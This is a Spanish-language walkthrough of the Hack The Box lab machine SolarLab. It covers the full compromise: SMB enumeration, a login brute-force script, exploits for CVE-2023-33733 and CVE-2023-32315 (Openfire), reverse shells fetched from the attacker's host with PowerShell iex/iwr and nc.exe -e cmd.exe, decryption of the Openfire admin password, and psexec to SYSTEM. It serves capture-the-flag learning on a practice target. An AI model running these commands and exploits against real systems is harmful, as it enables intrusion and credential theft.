Hack The Box: SolarLab Writeup | Medium

Table of Contents

Enumeration

TCP Scan

Primero descubrimos que puertos por TCP están abiertos utilizando rustscan

1➜  scan rustscan -a 10.129.231.39 --ulimit 5000 -g
210.129.231.39 -> [80,135,139,445,6791,7680]

Y ahora hacemos un escaneo mas exhaustivo sobre estos puertos con nmap

 1➜  scan nmap -p80,135,139,445,6791,7680 -sCV 10.129.231.39 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-27 14:28 CEST
 3Nmap scan report for 10.129.231.39
 4Host is up (0.036s latency).
 5
 6PORT     STATE SERVICE       VERSION
 780/tcp   open  http          nginx 1.24.0
 8|_http-title: Did not follow redirect to http://solarlab.htb/
 9|_http-server-header: nginx/1.24.0
10135/tcp  open  msrpc         Microsoft Windows RPC
11139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
12445/tcp  open  microsoft-ds?
136791/tcp open  http          nginx 1.24.0
14|_http-server-header: nginx/1.24.0
15|_http-title: Did not follow redirect to http://report.solarlab.htb:6791/
167680/tcp open  pando-pub?
17Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
18
19Host script results:
20| smb2-time:
21|   date: 2024-07-27T12:29:44
22|_  start_date: N/A
23|_clock-skew: 14s
24| smb2-security-mode:
25|   3:1:1:
26|_    Message signing enabled but not required
27
28Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
29Nmap done: 1 IP address (1 host up) scanned in 83.61 seconds

De estos escaneos sabemos sabemos dos cosas. Que quizás se estén compartiendo recursos compartidos mediante SMB que sean críticos ya sea utilizando una null session o con credenciales.

Y sabemos que por los redireccionamientos, se está aplicando virtual hosting y descubrimos dos subdominios

Vamos a añadir estos subdominios al /etc/hosts

1➜  content echo "10.129.231.39  report.solarlab.htb solarlab.htb" | sudo tee -a /etc/hosts
210.129.231.39  report.solarlab.htb solarlab.htb

Enumerando el SMB, podemos hacer uso de una null session y con smbmap detectamos que tenemos acceso de lectura a un recurso compartido a nivel de red llamado Documents

1content smbmap -H solarlab.htb -u null
2[+] IP: 10.129.231.39:445	Name: solarlab.htb        	Status: Authenticated
3	Disk                                                  	Permissions	Comment
4	----                                                  	-----------	-------
5	ADMIN$                                            	NO ACCESS	Remote Admin
6	C$                                                	NO ACCESS	Default share
7	Documents                                         	READ ONLY	
8	IPC$                                              	READ ONLY	Remote IPC

En el documento old_leave_request_form.docx, viendo los metadatos, podemos ver un nombre de usuario: Jackie y Alison Melville

En el documento Training-Request-Form.docx detectamos otros nombres de usuario: Gayle.Rennie y FRYATT, Susanne

En el documento Travel-Request-Sample.docx detectamos otros nombres de usuario: Paul Squillace y Katy Brown

En el documento details-file.xlsx encontramos varios usuarios y contraseñas

Con esto nos podemos montar un diccionario de usuario y contraseñas fácilmente.

Ganando acceso al ReportHub

Ahora que tenemos varios usuarios y contraseñas podemos probar a iniciar sesión en este panel. El problema es que no está el protocolo de Kerberos habilitado (por ejemplo) para poder comprobar que usuarios existen a nivel de sistema y poder sacar conclusiones mas fácilmente. Write-up Image Después de probar los usuarios, los usuarios AlexanderK y ClaudiaS producen errores distintos, por lo cual esta es una forma de enumerar usuarios. Write-up Image

He hecho un pequeño script para hacer un ataque por diccionario probando todos los usuarios y contraseñas obtenidos y también haciendo algunas combinaciones

 1#!/usr/bin/python3
 2import requests
 3from pwn import *
 4LOGIN_ENDPOINT="http://report.solarlab.htb:6791/login"
 5USERFILE="/home/kali/Desktop/solarlab/content/users.txt"
 6PASSFILE="/home/kali/Desktop/solarlab/content/passwords.txt"
 7
 8
 9def brute():
10    log.progress('Bruteforcing ', LOGIN_ENDPOINT)
11    s = requests.Session()
12    s.get(LOGIN_ENDPOINT)
13    p = log.progress('Bruteforcing...')
14    p.status('Trying:')
15    for user in open(USERFILE, 'r'):
16        for pwd in open(PASSFILE, 'r'):
17            p.status("Trying {0}:{1}".format(user.strip(), pwd.strip()))
18            data = {'username': user.strip(), 'password': pwd.strip()}
19            headers = {'Content-Type': 'application/x-www-form-urlencoded'}
20            r = s.post(LOGIN_ENDPOINT, data = data, headers = headers)
21            if r.headers.get('Content-Length') != '2144' and r.headers.get('Content-Length') != '2133':
22                log.success("Got a hit! " + user.strip() + ":" + pwd.strip())
23
24if __name__ == "__main__":
25    brute()

Y conseguimos unas credenciales válidas!

1➜  content python3 brute.py
2[▖] Bruteforcing : http://report.solarlab.htb:6791/login
3[d] Bruteforcing...: Trying Katy.Brown:dadsfawe9dafkn
4[+] Got a hit! BlakeB:ThisCanB3typedeasily1@

Foothold

Antes de explorar el sitio web, me interesa saber si este sitio es un CMS reconocido y tiene vulnerabilidades encontradas. Write-up Image

Y parece que tiene un RCE asociado. CVE-2023-33733

Parece que se acontece una inyección de comandos a la hora de añadir un párrafo en cualquier funcionalidad Write-up Image

Voy a intentar mandándome un ping

 1➜  CVE-2023-33733-Exploit-PoC git:(main) python3 exp.py --host 'report.solarlab.htb' --port 6791 --username 'BlakeB' --password 'ThisCanB3typedeasily1@' --cmd 'ping 10.10.14.71'
 2[*] Logging in to http://report.solarlab.htb:6791/login
 3Retreived session cookie: session=.eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZqU7AA.XHsnPDC8phcG6BMnDvLQbf2lGYM; HttpOnly; Path=/
 4[*] Extracting session token...
 5[*] Token extracted:  .eJwljjsOw0AIBe9CnQLWfBZfxjJrUNLacRXl7lkp0715zXxgqzOvJ6zv884HbK8DVoh9aC48GnM5YYjsncJHVsrwEUi1OLt1iXlL10RPw0NSbBIh3lpG2WLUVSPUHaf25hyszCqCJuqhDa2a78GEpKlzlxwwQ-4rz38NwfcHgZgttg.ZqU7AA.XHsnPDC8phcG6BMnDvLQbf2lGYM
 6[*] Building Exploit...
 7[*] Exploit built
 8[*] Preparing request
 9[*] Sending request to http://report.solarlab.htb:6791/leaveRequest
10[*] Sending a reverse shell should cause request to hang
11[*] Request sent
12[*] Probable success. Status Code 500
 1➜  ~ sudo tcpdump -i tun0 icmp
 2[sudo] password for kali:
 3tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
 4listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
 520:22:41.575007 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 1, length 40
 620:22:41.575163 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 1, length 40
 720:22:42.579868 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 2, length 40
 820:22:42.579885 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 2, length 40
 920:22:43.586730 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 3, length 40
1020:22:43.586749 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 3, length 40
1120:22:44.593617 IP report.solarlab.htb > 10.10.14.71: ICMP echo request, id 1, seq 4, length 40
1220:22:44.593634 IP 10.10.14.71 > report.solarlab.htb: ICMP echo reply, id 1, seq 4, length 40

Perfecto, ahora con nishang voy a mandarme una RevShell

Nos montamos un servidor web con python y compartimos la típica Reverse Shell de nishang, Invoke-PowerShellTcp.ps1

Y con powershell.exe -c iex (iwr http://10.10.14.71/Invoke-PowerShellTcp.ps1) nos mandamos la revshell.

1PS C:\Users\blake\Documents\app>whoami
2solarlab\blake

Consiguiendo mas credenciales

En la ruta C:\Users\blake\Documents\app\instance encontramos un archivo users.db que contiene credenciales para otros usuarios

 1PS C:\Users\blake\DOcuments\app\instance> type users.db
 2SQLite format 3@  .j?
 3?!!??+?9tableuseruserCREATE TABLE user (
 4	id INTEGER NOT NULL,
 5	username VARCHAR(50) NOT NULL,
 6	password VARCHAR(100) NOT NULL,
 7	PRIMARY KEY (id),
 8	UNIQUE (username)
 9)';indexsqlite_autoindex_user_1user
10????!)alexanderkHotP!fireguard'claudias007poiuytrewq 9blakebThisCanB3typedeasily1@
11????!alexanderk
12               claudias		blakeb

Sin embargo, no vemos que existan estos usuarios a nivel de sistema.

 1PS C:\Users> dir
 2
 3
 4    Directory: C:\Users
 5
 6
 7Mode                 LastWriteTime         Length Name
 8----                 -------------         ------ ----
 9d-----        11/17/2023  10:03 AM                Administrator
10d-----        11/16/2023   9:43 PM                blake
11d-----        11/17/2023   2:13 PM                openfire
12d-r---        11/17/2023  12:54 PM                Public

Pero las contraseñas nos podrían servir mas adelante. También me llama un poco la atención ese directorio personal de trabajo openfire , ya que es un servicio común que quizás nos pueda servir ara escalar privilegios.

De hecho, encontramos vulnerabilidades asociadas a este servicio. Encontramos un Authentication Bypass y un RCE. CVE-2023-32315

Pivoting a openfire

Este servicio utiliza por defecto el puerto 9090. Write-up Image

En la máquina víctima podemos ver que está abierto Write-up Image

Ahora con chisel hacemos un reverse port forwarding.

1➜  ~ /usr/share/chisel server --reverse -p 1234
1PS C:\Windows\Temp\work> .\chisel client 10.10.14.71:1234 R:9090:127.0.0.1:9090

Al final utilicé este RCE Primero creamos el usuario.

1➜  CVE-2023-32315 git:(main) python3 CVE-2023-32315.py -t http://127.0.0.1:9090
2....
3User added successfully: url: http://127.0.0.1:9090 username: l7be2x password: 3puzku

Write-up Image

Ya hemos ganado acceso al panel, ahora en principio, se debe de acontecer una vulnerabilidad de tipo RCE para poder ganar acceso al sistema como el usuario openfire

Write-up Image

Aquí podemos inyectar un archivo .jar malicioso y conseguir ejecución de comandos. Voy a subir el .jar que viene en el PoC

Y ahora en esta ruta http://127.0.0.1:9090/plugins/openfire-management-tool-plugin/cmd.jsp

Tenemos una webshell. Ahora primero nos descargamos nc desde la webshell. powershell.exe "iwr http://10.10.14.71/nc.exe -o nc.exe"

Y ahora nos mandamos una cmd nc.exe 10.10.14.71 443 -e cmd.exe

1C:\Program Files\Openfire\bin>whoami
2whoami
3solarlab\openfire
4
5C:\Program Files\Openfire\bin>

Enumerando un poco los archivos de openfire, nos damos cuenta de un directorio un tanto peculiar. 07/27/2024 08:29 PM <DIR> embedded-db

 1C:\Program Files\Openfire\embedded-db>dir
 2dir
 3 Volume in drive C has no label.
 4 Volume Serial Number is 385E-AC57
 5
 6 Directory of C:\Program Files\Openfire\embedded-db
 7
 807/27/2024  08:29 PM    <DIR>          .
 907/27/2024  08:29 PM    <DIR>          ..
1007/27/2024  08:29 PM                 0 openfire.lck
1107/27/2024  09:40 PM             1,188 openfire.log
1207/27/2024  08:29 PM               106 openfire.properties
1305/07/2024  09:53 PM            16,161 openfire.script
1407/27/2024  08:29 PM    <DIR>          openfire.tmp
15               4 File(s)         17,455 bytes
16               3 Dir(s)   7,777,484,800 bytes free

En el fichero openfire.script encontramos esta linea.

1INSERT INTO OFUSER VALUES('admin','gjMoswpK+HakPdvLIvp6eLKlYh0=','9MwNQcJ9bF4YeyZDdns5gvXp620=','yidQk5Skw11QJWTBAloAb28lYHftqa0x',4096,NULL,'becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442','Administrator','admin@solarlab.htb','001700223740785','0')

Así que tenemos una pwd encriptada. becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442

Haciendo una búsqueda rápida en Google, podemos encontrar este repositorio que nos indica como podemos desencriptar esta credencial. openfire_decrypt

Crackeando la contraseña del usuario administrador

Analizando el código del script adjuntado, vemos que se utiliza una clave secreta para encriptar las pwd, por lo cual, también debe rondar por la base de datos. SecretKeySpec key = new SecretKeySpec (keyParam, "Blowfish")

 1import javax.crypto.Cipher;
 2import java.security.MessageDigest;
 3import javax.crypto.spec.SecretKeySpec;
 4import javax.crypto.spec.IvParameterSpec;
 5
 6public class OpenFireDecryptPass
 7{
 8  public static void main(String[] argv) throws Exception
 9  {
10    if (argv.length < 2)
11    {
12      System.out.println("[-] Please specify the encypted password and the \"passwordKey\"");
13      return;
14    }
15    
16    MessageDigest md = MessageDigest.getInstance ("SHA-1");
17
18    byte[] keyParam = md.digest (argv[1].getBytes ("utf8"));
19    byte[] ivBytes  = hex2bytes (argv[0].substring (0, 16));
20    byte[] encryptedString = hex2bytes (argv[0].substring (16)); // 8 * 2 (since hex)
21
22    IvParameterSpec iv = new IvParameterSpec (ivBytes);
23    SecretKeySpec key  = new SecretKeySpec (keyParam, "Blowfish");
24
25    Cipher cipher = Cipher.getInstance ("Blowfish/CBC/PKCS5Padding");
26    cipher.init (Cipher.DECRYPT_MODE, key, iv);
27    byte[] decrypted = cipher.doFinal (encryptedString);
28
29    String decryptedString = bytes2hex (decrypted);
30
31    System.out.println (new String(decrypted) + " (hex: " + decryptedString + ")");
32  }
33
34  public static byte[] hex2bytes(String str)
35  {
36    if (str == null || str.length() < 2) return null;
37    else
38    {
39      int len = str.length() / 2;
40      byte[] buffer = new byte[len];
41
42      for (int i = 0; i < len; i++) buffer[i] = (byte) Integer.parseInt(str.substring(i * 2, i * 2 + 2), 16);
43
44      return buffer;
45    }
46
47  }
48
49  public static String bytes2hex(byte[] data)
50  {
51    if (data == null) return null;
52    else
53    {
54      int len = data.length;
55
56      String str = "";
57
58      for (int i = 0; i < len; i++)
59      {
60        if ((data[i] & 0xFF) < 16) str = str + "0" + java.lang.Integer.toHexString(data[i] & 0xFF);
61        else str = str + java.lang.Integer.toHexString(data[i] & 0xFF);
62      }
63      return str.toUpperCase();
64    }
65  }
66}

Revisando otra vez el openfire.script encontramos lo que buscabamos. INSERT INTO OFPROPERTY VALUES('passwordKey','hGXiFzsKaAeYLjn',0,NULL)

Ahora, primero compilamos el script y luego le pasamos como argumentos posicionales el hash encontrado y acto seguido la clave secreta.

1➜  content javac OpenFireDecryptPass.java
2Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
3➜  content java OpenFireDecryptPass becb0c67cfec25aa266ae077e18177c5c3308e2255db062e4f0b77c577e159a11a94016d57ac62d4e89b2856b0289b365f3069802e59d442 hGXiFzsKaAeYLjn
4Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
5ThisPasswordShouldDo!@ (hex: 005400680069007300500061007300730077006F0072006400530068006F0075006C00640044006F00210040)

Consiguiendo una shell como Administrator

Entonces, ahora podemos probar estas credenciales para el usuario Administrator a ver si se reutilizan las credenciales..

Y con NetExec podemos comprobar que son válidas, así que ahora con impacket-psexec podemos conseguir una consola como nt\authority system

1➜  content nxc smb 10.129.231.39 -u 'Administrator' -p 'ThisPasswordShouldDo!@'
2SMB         10.129.231.39   445    SOLARLAB         [*] Windows 10 / Server 2019 Build 19041 x64 (name:SOLARLAB) (domain:solarlab) (signing:False) (SMBv1:False)
3SMB         10.129.231.39   445    SOLARLAB         [+] solarlab\Administrator:ThisPasswordShouldDo!@ (Pwn3d!)
 1➜  content impacket-psexec solarlab.htb/Administrator:'ThisPasswordShouldDo!@'@10.129.231.39
 2Impacket v0.12.0.dev1+20240711.104209.512a1db5 - Copyright 2023 Fortra
 3
 4[*] Requesting shares on 10.129.231.39.....
 5[*] Found writable share ADMIN$
 6[*] Uploading file uLpOgqoX.exe
 7[*] Opening SVCManager on 10.129.231.39.....
 8[*] Creating service olGN on 10.129.231.39.....
 9[*] Starting service olGN.....
10[!] Press help for extra shell commands
11Microsoft Windows [Version 10.0.19045.4355]
12(c) Microsoft Corporation. All rights reserved.
13
14C:\Windows\system32> whoami
15nt authority\system

Feliz Hacking! 🚀

#HackTheBox   #SolarLab   #Writeup   #Cybersecurity   #Penetration Testing   #CTF   #Network Security   #SMB   #Reverse Shell   #Privilege Escalation   #RCE   #Openfire   #Exploit   #Windows   #Python   #Scripting   #Credentials Reuse   #Port Forwarding   #Decrypting Password